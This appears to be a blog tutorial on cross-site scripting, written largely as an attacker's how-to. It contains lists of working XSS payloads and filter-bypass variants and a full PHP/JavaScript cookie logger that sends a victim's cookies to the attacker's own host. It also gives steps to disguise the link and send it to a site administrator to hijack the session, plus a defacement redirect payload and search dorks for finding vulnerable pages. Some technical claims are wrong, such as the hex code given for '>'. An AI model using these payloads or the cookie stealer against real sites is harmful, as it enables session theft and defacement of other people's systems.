What is Cross-Site Scripting [XSS] – How is it done?

7233075836_03c3959f57What is XSS?

XSS stands for Cross-Site-Scripting. It is basically an attack, that is used to execute HTML and Javascript on the web-page. This attack can be done by submitting queries into text-boxes, or even into the URL. The results come back reading the text as HTML, so it executes the scripts instead of displaying them in plain text. With an XSS attack, the hacker can steal cookies from a Web-Administrator, or even use some social-engineering to manipulate someone into downloading a virus that they’ve created, such as a Botnet, or RAT, maybe even a Keylogger. XSS can be very dangerous, but can also be very mild. Most of my attacks are mild XSS attacks, that can be difficult to use against a website. There are many ways a hacker can use XSS to their advantage. Here are a few examples. He/She can use an alert box to advertise themself, or alert the web-admin that they’ve discovered a security breach involving XSS. The hacker might also setup a Cookie-Stealer/Logger. Anything one might do with HTML can be used against a site with this attack. I will explain some of the most important terms associated with XSS.

What is HTML and Javascript?

HTML

HTML is sort of like a programming language. The distinctions between a programming language, and HTML, are arguably not too far apart. They are both languages, that are used to create attributes, and events. HTML is a markup language, which is used mostly to create websites. HTML stands for Hyper-Text Markup Language. You can use HTML to create forms, buttons, and other stuff that can be used in a webpage. I highly doubt you will ever encounter a website that does not contain even a slight amount of HTML.

Javascript

Now, first, let’s get one thing straight. There is a HUGE difference between JAVA and JAVASCRIPT. Java, is a language that would maybe resemble C++, it can be used in games, and applications. Javascript is sort of similar to HTML, but definitely different in many ways. Javascript isn’t used NEARLY as much in Webpages as HTML is. Javascript is used more in applications outside of webpages. Javascript can be an incredibly useful language along with HTML. They are both fairly simple to learn, and are quite dynamic.

XSS: “Hello World”

Now, let’s start getting into the really good stuff. In this section, I’ll be explaining how a hacker can use XSS to their advantage. I will show a fictional basic attack with XSS. If you already know the basics to XSS, you can skip this section, because I doubt you will learn anything that you don’t briefly know yet.

Now, the first step is obviously to find a vulnerable site. Finding a site vulnerable to XSS is a lot easier than finding a site vulnerable to SQLi. The problem is, it can take time to determine whether the site is really vulnerable. With SQLi, a hacker can just add a little ‘. But in XSS, they must submit (sometimes) multiple queries, to test a site for XSS.

Most vulnerable sites will contain a Search, Login, or a Register area. Pretty much anywhere that contains a text-box, can be exploited with XSS. HOWEVER, many people forget this fact, and never use it to their full potential because they think it’s useless. Hackers can exploit XSS through the source as well. They can’t just take any script and edit the full thing. But editing an “onmouseover” script is definitely an exception. I will be explaining this method of XSS later on, for now, I will talk about the basics.

Anyways, the site should have some Text-Boxes to input some HTML in. Here, we will look at a fictional forum posting page. So, lets try putting in the most known, BASIC query of all time.

<script>alert(“XSS”)</script>

Cross Site Script 1

That little script, is HTML. It will make a little message pop up, saying “XSS”. One might edit this to make it say whatever they like, but they would make sure not to edit any other part of the script. We see the hacker put that into a few required fields for this forum, and hit enter. Now, if a little alert box popped up, they’ve successfully attacked a site vulnerable to XSS!

Cross Site Scripting 2

If no box popped up it’s alright, because it just means the site has taken some time to put in a filter. A filter is when a search submission is done, then it goes through a mini process, basically an inspection. It checks for any malicious (dangerous) things. In this case, it will look for XSS. Sometimes, these filters are very weak, and can be by-passed by the hacker very easily, other times, they can be quite difficult to bypass. There are a lot of ways to bypass an XSS filter. First, they have to find out what the filter is blocking. A lot of the time, it is blocking the alert. Here’s an example of this kind of filter:

<script>alert(“XSS”)</script>

>

<script>alert( > XSS DETECTED < )</script>

It will block the quotes. So how would the hacker get past that? Well, thankfully there’s a way to encrypt the full message :). Often, the hacker might use a little function called  “String.FromCharCode”. The name of it pretty much explains it all. It encrypts the text, into ASCII. An example of this encryption, would be like this:

String.fromCharCode(88,83,83)

Yes, it can be a little bit confusing, but with a little bit of explaining, and testing, it is quite simple. Here is what the hacker’s full query might look like:

<script>alert(String.fromCharCode(88,83,83))</script>

He does NOT need ANY quotes in the simple query like that, so he will put that back in the search bar, and voila! It works! He will now got an alert box saying “XSS”! If he still doesn’t get any alert box, he could try some of these queries which have been known to work:

“><script>alert(“XSS”)</script>
“><script>alert(String.fromCharCode(88,83,83))</script>
‘><script>alert(“XSS”)</script>
‘><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT(“XSS”)</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
“><ScRIPt>aLeRT(“XSS”)</ScRIPt>
“><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
‘><ScRIPt>aLeRT(“XSS”)</ScRIPt>
‘><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
</script><script>alert(“XSS”)</script>
</script><script>alert(String.fromCharCode(88,83,83))</script>
“/><script>alert(“XSS”)</script>
“/><script>alert(String.fromCharCode(88,83,83))</script>
‘/><script>alert(“XSS”)</script>
‘/><script>alert(String.fromCharCode(88,83,83))</script>
</SCRIPT>”><SCRIPT>alert(“XSS”)</SCRIPT>
</SCRIPT>”><SCRIPT>alert(String.fromCharCode(88,83,83))
</SCRIPT>”>”><SCRIPT>alert(“XSS”)</SCRIPT>
</SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“;alert(“XSS”);”
“;alert(String.fromCharCode(88,83,83));”
‘;alert(“XSS”);’
‘;alert(String.fromCharCode(88,83,83));’
“;alert(“XSS”)
“;alert(String.fromCharCode(88,83,83))
‘;alert(“XSS”)
‘;alert(String.fromCharCode(88,83,83))

Yes, I just wrote all those down, and it took longer than it should’ve, but they all have the possibility of working in their own way. So, these are all examples of lines a hacker might use. There have been attacks on some pretty huge sites with queries such as these. Sometimes hackers create script lines specifically tailored to the sites they are at.

XSS: Advanced Methods

Now, in this section I will be sharing some ways a black hat hacker might use XSS maliciously against a site. Keep in mind all malicious attacks sent over to a system, site, or server, is illegal and you CAN be prosecuted for these actions. However, many hackers use Proxy Servers or VPN tunnels to cover where they are coming from.

Cookie Stealing/Logging

Now, cookie stealing is about the most malicious thing a hacker can do with Non-Persistent XSS. A cookie stealer/logger, will log the cookies of the user who access the page to a certain document. The easiest way to do this, would be with a three step process.

First, they would need to setup their own hosted site.

Now, once they’ve created the site, they go to the file manager. They create a new file and call it “CookieLog.txt” but leave the code blank. Now they create another file after that, called “CookieLogger.php”. In CookieLogger.php, some code is needed so that it sends the cookies that are logged, into the Cookie Log. The following code is added into it (if the file does not have the php extension, it will not run).

<?php
/*
* Created on 16. april. 2007
* Created by Audun Larsen (audun@munio.no)
*
* Copyright 2006 Munio IT, Audun Larsen
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
 
if(strlen($_SERVER[‘QUERY_STRING’]) > 0) {
$fp=fopen(‘./CookieLog.txt’, ‘a’);
fwrite($fp, urldecode($_SERVER[‘QUERY_STRING’]).”\n”);
fclose($fp);
} else {
?>
 
var ownUrl = ‘http://<?php echo $_SERVER[‘HTTP_HOST’]; ?><?php echo $_SERVER[‘PHP_SELF’]; ?>’;
 
// ==
//  URLEncode and URLDecode functions
//
// Copyright Albion Research Ltd. 2002
// http://www.albionresearch.com/
//
// You may copy these functions providing that
// (a) you leave this copyright notice intact, and
// (b) if you use these functions on a publicly accessible
//  web site you include a credit somewhere on the web site
//  with a link back to http://www.albionresearch.com/
//
// If you find or fix any bugs, please let us know at albionresearch.com
//
// SpecialThanks to Neelesh Thakur for being the first to
// report a bug in URLDecode() – now fixed 2003-02-19.
// And thanks to everyone else who has provided comments and suggestions.
// ==
function URLEncode(str)
{
// The Javascript escape and unescape functions do not correspond
// with what browsers actually do…
var SAFECHARS = “0123456789” +  // Numeric
“ABCDEFGHIJKLMNOPQRSTUVWXYZ” +    // Alphabetic
“abcdefghijklmnopqrstuvwxyz” +
“-_.!~*'()”;  // RFC2396 Mark characters
var HEX = “0123456789ABCDEF”;
 
var plaintext = str;
var encoded = “”;
for (var i = 0; i < plaintext.length; i++ ) {
var ch = plaintext.charAt(i);
if (ch == ” “) {
encoded += “+”;    // x-www-urlencoded, rather than %20
} else if (SAFECHARS.indexOf(ch) != -1) {
encoded += ch;
} else {
var charCode = ch.charCodeAt(0);
if (charCode > 255) {
alert( “Unicode Character ‘”
+ ch
+ “‘ cannot be encoded using standard URL encoding.\n” +
“(URL encoding only supports 8-bit characters.)\n” +
“A space (+) will be substituted.” );
encoded += “+”;
} else {
encoded += “%”;
encoded += HEX.charAt((charCode >> 4) & 0xF);
encoded += HEX.charAt(charCode & 0xF);
}
}
} // for
 
return encoded;
};
 
cookie = URLEncode(document.cookie);
html = ‘<img src=”‘+ownUrl+’?’+cookie+'”>’;
document.write(html);
 
< ?php
}
?>

Now that the hacker has his Cookie Logger script, he can send the cookie logger to his best friend, the Web-Admin :). To do this, they might “Tiny” the URL. Or if they are good enough to figure out how to Spoof the URL, that would work too.

To Tiny the URL, they might go to http://www.spam.com/ and put in the URL. Before they do that though, they need to add a script into the XSS vulnerability. This is the script that will start the Cookie Logging.

Now they add the above script after the URL, then tiny it, and send it to the Web-Admin, now this might take some time for the Admin to actually click it. Sometimes, the Admin doesn’t click it because he is smart in the ways of the attacker. This is good. Good job Admin, you are valued.

Once the hacker gets the cookie, he can use the “Cookie Manager” Firefox addon to manipulate and edit the cookies so that they might hijack the administrator’s session.

Defacing

Defacing is one of the most common things people like to do when they have access to multiple administrator options. Mostly so that they can advertise themselves, and simply let the administrator know that their security has been breached. Anyways, defacing with XSS requires persistent XSS, maybe a comment box, or something. Hackers can use this script to create a re-direct to their deface page (Maybe they would redirect it to their deface on Pastehtml.com, because it’s anonymous uploading.)

<script>window.location=”http://www.pastehtml.com/DEFACEHERE/”;</script>

XSS: Onmouseover

Onmousover isn’t a very exploitable vulnerability. But yet, it is still considered XSS. An onmouseover vulnerability would look something like this:

onmouseover=prompt1337

We can exploit this, by editing it to:

onmouseover=alert(“XSS”)

Very basic vulnerability, but it’s getting more noticed, and patched in a lot more websites. Most sites will use Adobe Flash or CSS to do those kind of effects now.

XSS Filter Bypassing Techniques

Sometimes a simple XSS query just won’t do the trick. The reason the query isn’t working, is because the website has a WAF or Filter set in place. A filter will block as many XSS and SQLi queries as possible.

Hackers have many ways of bypassing XSS filters, but I will only explain a few.

Hex Bypassing

With blocked characters like >, <, and /, it is quite difficult to execute an XSS query. Hackers can change their characters into Hex. A Hex of a certain character, is basically the character, but in a different format such as the following examples:

> = %3c
< = %3c
/ = %2f

ASCII Bypassing

With an ASCII encryption, hackers can use the character ” (as in, quotes). Which is blocked quite a bit. This is one of the most common XSS Filter bypasses of all time. A script that one would need to encrypt, would look like this:

NOT WORKING SCRIPT

<script>alert(“XSS”)</script>

WORKING SCRIPT

<script>alert(String.fromCharCode(88,83,83))</script>

To encrypt this little part of a script, some hackers go to this site: http://www.wocares.com/noquote.php

Case-Sensitive Bypassing

This kind of bypass rarely works, but hackers may resort to it. Some filters are set in place to detect certain strings, however, the filter’s strings that are blocked are CASE SENSITIVE. So what a hacker does is execute a script, with different sizes of characters. This bypass, would look like this:

<ScRiPt>aLeRt(“XSS”)</ScRiPt>

They might also mix that with ASCII encryption. This kind of bypass only works on really stupid filters, or really REALLY old ones.

Some XSS Dorks

Here are some really basic ones. Many hackers use much more specific ones.

inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx

Those dorks are about as basic as they can get. Some hackers don’t use dorks to find a vulnerable site. XSS is a very popular vulnerability among those who are attacking.

Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *